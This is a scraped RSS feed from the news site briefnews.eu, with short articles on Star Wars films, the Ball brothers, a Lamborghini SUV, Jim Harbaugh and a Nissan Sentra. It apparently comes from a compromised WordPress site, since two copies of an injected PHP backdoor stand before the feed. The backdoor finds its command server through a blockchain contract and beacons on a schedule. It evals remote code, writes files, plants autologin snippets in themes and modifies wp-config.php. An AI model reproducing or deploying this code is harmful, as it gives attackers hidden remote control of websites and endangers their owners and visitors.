// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); underwhelming – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 21 Jun 2018 01:47:26 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png underwhelming – Brief News https://briefnews.eu 32 32 Report: Lucasfilm puts Obi-Wan film “on hold” after underwhelming Solo debut https://briefnews.eu/report-lucasfilm-puts-obi-wan-film-on-hold-after-underwhelming-solo-debut/ https://briefnews.eu/report-lucasfilm-puts-obi-wan-film-on-hold-after-underwhelming-solo-debut/#respond Thu, 21 Jun 2018 01:47:26 +0000 http://briefnews.eu/report-lucasfilm-puts-obi-wan-film-on-hold-after-underwhelming-solo-debut/

Enlarge (credit: Aurich Lawson / Lucasfilm)

The film news and reviews site Collider posted an exclusive report on Wednesday concerning the fate of future Star Wars films—and in particular, a long-rumored, not-yet-announced film focused on the classic character Obi-Wan Kenobi.

Citing “sources with knowledge of the situation,” Collider confirmed that all pre-production for Lucasfilm’s unnamed Obi-Wan “Star Wars Story” film is now “on hold.” Every contributor attached to that film’s pre-production process is “no longer involved,” the site adds, and any other Star Wars Story film projects are currently “on hiatus.” That includes a rumored Boba Fett film, which Collider reports was not as far along in a pre-production process as the Obi-Wan film was.

Other major film-gossip outlets—including Variety, The Hollywood Reporter, and Deadline—have not published similar news as of press time.

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]]> https://briefnews.eu/report-lucasfilm-puts-obi-wan-film-on-hold-after-underwhelming-solo-debut/feed/ 0 LiAngelo and LaMelo Ball are reportedly signing possibly underwhelming contracts for a Lithuanian basketball team https://briefnews.eu/liangelo-and-lamelo-ball-are-reportedly-signing-possibly-underwhelming-contracts-for-a-lithuanian-basketball-team/ https://briefnews.eu/liangelo-and-lamelo-ball-are-reportedly-signing-possibly-underwhelming-contracts-for-a-lithuanian-basketball-team/#respond Tue, 12 Dec 2017 10:45:52 +0000 http://briefnews.eu/liangelo-and-lamelo-ball-are-reportedly-signing-possibly-underwhelming-contracts-for-a-lithuanian-basketball-team/ ball family

  • LiAngelo Ball and LaMelo Ball, the sons of LaVar Ball, are reportedly signing one-year contracts with Lithuanian basketball club Prienu Vytautas.
  • LiAngelo and LaMelo were supposed to be play for UCLA, but the plan fell apart when LaVar Ball pulled LiAngelo from UCLA over his indefinite suspension for shoplifting in China.
  • The Lithuanian club reportedly hopes the Balls will bring a marketing boon to the club, but neither player is expected to have a big role on the team.
  • A report indicated that players make $ 500 per month at best, and the Balls may earn significantly less.

LiAngelo Ball and LaMelo Ball, the two youngest sons of LaVar Ball and youngest brother of the Los Angeles Lakers rookie Lonzo Ball, have signed one-year contracts with Lithuanian basketball team Prienu Vytautas, according to Yahoo’s Shams Charania.

ESPN’s Adrian Wojnarowski and Jonathan Givony first reported that the LiAngelo and LaMelo were in talks with the team.

LiAngelo Ball, 19, was recently pulled out of UCLA by his father after being indefinitely suspended following his arrest on a charge of shoplifting in China. LaMelo Ball, 16, had a scholarship offer from UCLA, but had major eligibility questions because of his shoe line with his family’s Big Baller Brand clothing company.

According to ESPN, the club hopes the Ball brothers and LaVar could provide a marketing boon for the team.

Givony reported that the salaries and roles of the Ball brothers may not be significant.

According to ESPN’s report, Prienu Vytautuas is in a small village in southern Lithuania with a population of about 10,000 people and few English speakers.

Charania reported that Harrison Gaines, the representative for LiAngelo and LaMelo, fielded several offers from international teams and that the Balls and Gaines worked hard to find a team that met their specific needs. Charania noted that the LKL boasts competitive teams that have had NBA players and prospects in the past.

When LaVar announced he was pulling LiAngelo from UCLA, he said it would be to prepare him for the NBA Draft. However, several reports said NBA teams didn’t even consider LiAngelo a prospect.

ESPN’s Jeff Borzello reported earlier in December that LiAngelo’s arrest in China and LaMelo’s eligibility questions began fracture the standing relationship between the Balls and UCLA. While LaMelo is regarded as a better prospect than LiAngelo, without playing in college, he would have to wait a year to enter the NBA Draft or play overseas. 

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]]> https://briefnews.eu/liangelo-and-lamelo-ball-are-reportedly-signing-possibly-underwhelming-contracts-for-a-lithuanian-basketball-team/feed/ 0 Lamborghini Urus has an underwhelming exhaust note https://briefnews.eu/lamborghini-urus-has-an-underwhelming-exhaust-note/ https://briefnews.eu/lamborghini-urus-has-an-underwhelming-exhaust-note/#respond Mon, 27 Nov 2017 23:18:06 +0000 http://briefnews.eu/lamborghini-urus-has-an-underwhelming-exhaust-note/

Lamborghini has been releasing a number of teaser trailers for its upcoming Urus SUV, and the latest is all about trying to make the SUV really feel like a Lamborghini. The host at one point begins talking about giving the Urus the right sound, which culminates in a shot of a prototype accelerating away with all raucous roar of … any other premium crossover on the market right now.

Yes, the Lamborghini Urus sounds generic. Despite reportedly making 650 horsepower from its twin-turbo V8, the exhaust note sounds too quiet, smooth, and clean. It doesn’t sound bad, but part of what makes a Lamborghini a Lamborghini is a stunning howl that you can hear blocks away. It shrieks at the high end, barks at the low end, and crackles in-between. Just take a listen to the Huracan in the video below. The Urus does none of that.

Some may say this is actually a good thing because an SUV is supposed to be more practical and refined for daily use. But that’s not what a Lamborghini is, even one that can carry more than two people. Lamborghinis are big, loud, impractical, and showy. And there’s no shortage of fast, subtle SUVs out there, so the Lamborghini being brash is a key selling point.

Still, this likely won’t deter many prospective Urus buyers. It’s still absurd-looking, featuring roughly the same creased and folded body work of the concept, and an interior full of spaceship-style switch gear. And as we already mentioned, it should be really fast. If only it sounded right.

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]]> https://briefnews.eu/lamborghini-urus-has-an-underwhelming-exhaust-note/feed/ 0 Chart shows how underwhelming Jim Harbaugh has been in his first 3 seasons at Michigan https://briefnews.eu/chart-shows-how-underwhelming-jim-harbaugh-has-been-in-his-first-3-seasons-at-michigan/ https://briefnews.eu/chart-shows-how-underwhelming-jim-harbaugh-has-been-in-his-first-3-seasons-at-michigan/#respond Sun, 29 Oct 2017 07:23:07 +0000 http://briefnews.eu/chart-shows-how-underwhelming-jim-harbaugh-has-been-in-his-first-3-seasons-at-michigan/ When Jim Harbaugh was hired by the University of Michigan and made one of the highest-paid coaches in college sports, it was expected that he would quickly turn the Wolverines into a national title contender. So far, that hasn’t happened and one stat in particular shows how underwhelming he has been.

Through Harbaugh’s first 33 games at Michigan, his teams are 25-8, the same record his predecessor had through 33 games, the much-maligned Brady Hoke. 

Of course, nobody is saying Harbaugh is Hoke or that he will suffer the same fate. While the two coaches were identical through 33 games, Hokes teams went 6-12 in the next 18 games after his first 33. Those 18 games were also his last 18 games at Michigan. Harbaugh’s teams will almost certainly do better than that.

COTD_10.27Mike Nudelman/Business Insider

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]]> https://briefnews.eu/chart-shows-how-underwhelming-jim-harbaugh-has-been-in-his-first-3-seasons-at-michigan/feed/ 0 Overpriced and underwhelming | 2017 Nissan Sentra NISMO https://briefnews.eu/overpriced-and-underwhelming-2017-nissan-sentra-nismo/ https://briefnews.eu/overpriced-and-underwhelming-2017-nissan-sentra-nismo/#respond Tue, 18 Apr 2017 22:42:13 +0000 http://briefnews.eu/overpriced-and-underwhelming-2017-nissan-sentra-nismo/ Few small cars are as unimpressive as the Nissan Sentra. Though comfortable and roomy, its handling is subpar, the interior is bare, and the base model is extremely slow. The lowest-output version has just 124 horsepower and comes with a fun-sapping CVT. The SR Turbo at least addresses the power issue with the inclusion of a turbocharged 1.6-liter engine with 188 horsepower and 177 pound-feet of torque. But it didn’t keep this editor from picking the Sentra SR Turbo as his least favorite car of 2016. Still, a NISMO variant was on the way, and we still held onto a little hope that maybe, just maybe, Nissan’s in-house performance division could make the little sedan enjoyable. And now that we finally got to drive one, we have an answer: it’s still not good. In fact, with the CVT, it’s actually rather bad.

Yes, Nissan sent us its sportiest Sentra equipped with a CVT. We have no idea why because this transmission shouldn’t be anywhere near a performance car. It may be acceptable for a lower trim model, but it sucks out whatever life the 1.6-liter turbocharged four-cylinder has. Matting the gas is met with the feeling that something is slipping, and that you’re not getting power to the ground. Putting it into manual mode doesn’t help either, since the pre-set ratios aren’t fixed. Instead, the transmission can still adjust its pulleys as it sees fit, so you still get an odd rubber-band feeling. Long story short, it makes the car feel slower, and makes it hard to tell what the car is doing. Both big no-nos in the performance car world.

It’s a real shame, too, since the engine actually isn’t too bad. It’s not the most responsive turbo engine out there, thanks to how the CVT exaggerates the lag in throttle response. But once it makes boost, it pulls with some gusto. We’re sure that the available manual transmission would make it more enjoyable. Unfortunately, even with a manual, the NISMO would still only be working with the same 188 horsepower as its lesser SR Turbo counterpart. To be taken seriously as a sport compact, Nissan needs to give the Sentra NISMO more power. N

issan needs to give the little sedan a limited slip differential, too. Even with just 188 horsepower, it’s easy to get the NISMO’s inside front wheel spinning by giving it gas in a tight corner. Adding more power without addressing this would make the Sentra maddening to drive.

2017 Sentra NISMO rear 3/4

Where the NISMO really differentiates itself from the SR Turbo is with the suspension. The NISMO has firmer springs and dampers, and sits just under half an inch lower than its normal sibling. The result is a Sentra that takes turns with much less body roll. But, again thanks to the NISMO’s unique suspension, it has a particularly firm, bordering on harsh, ride. It was bad enough that one of our editors said he would prefer a normal SR Turbo to get that cruising comfort back.

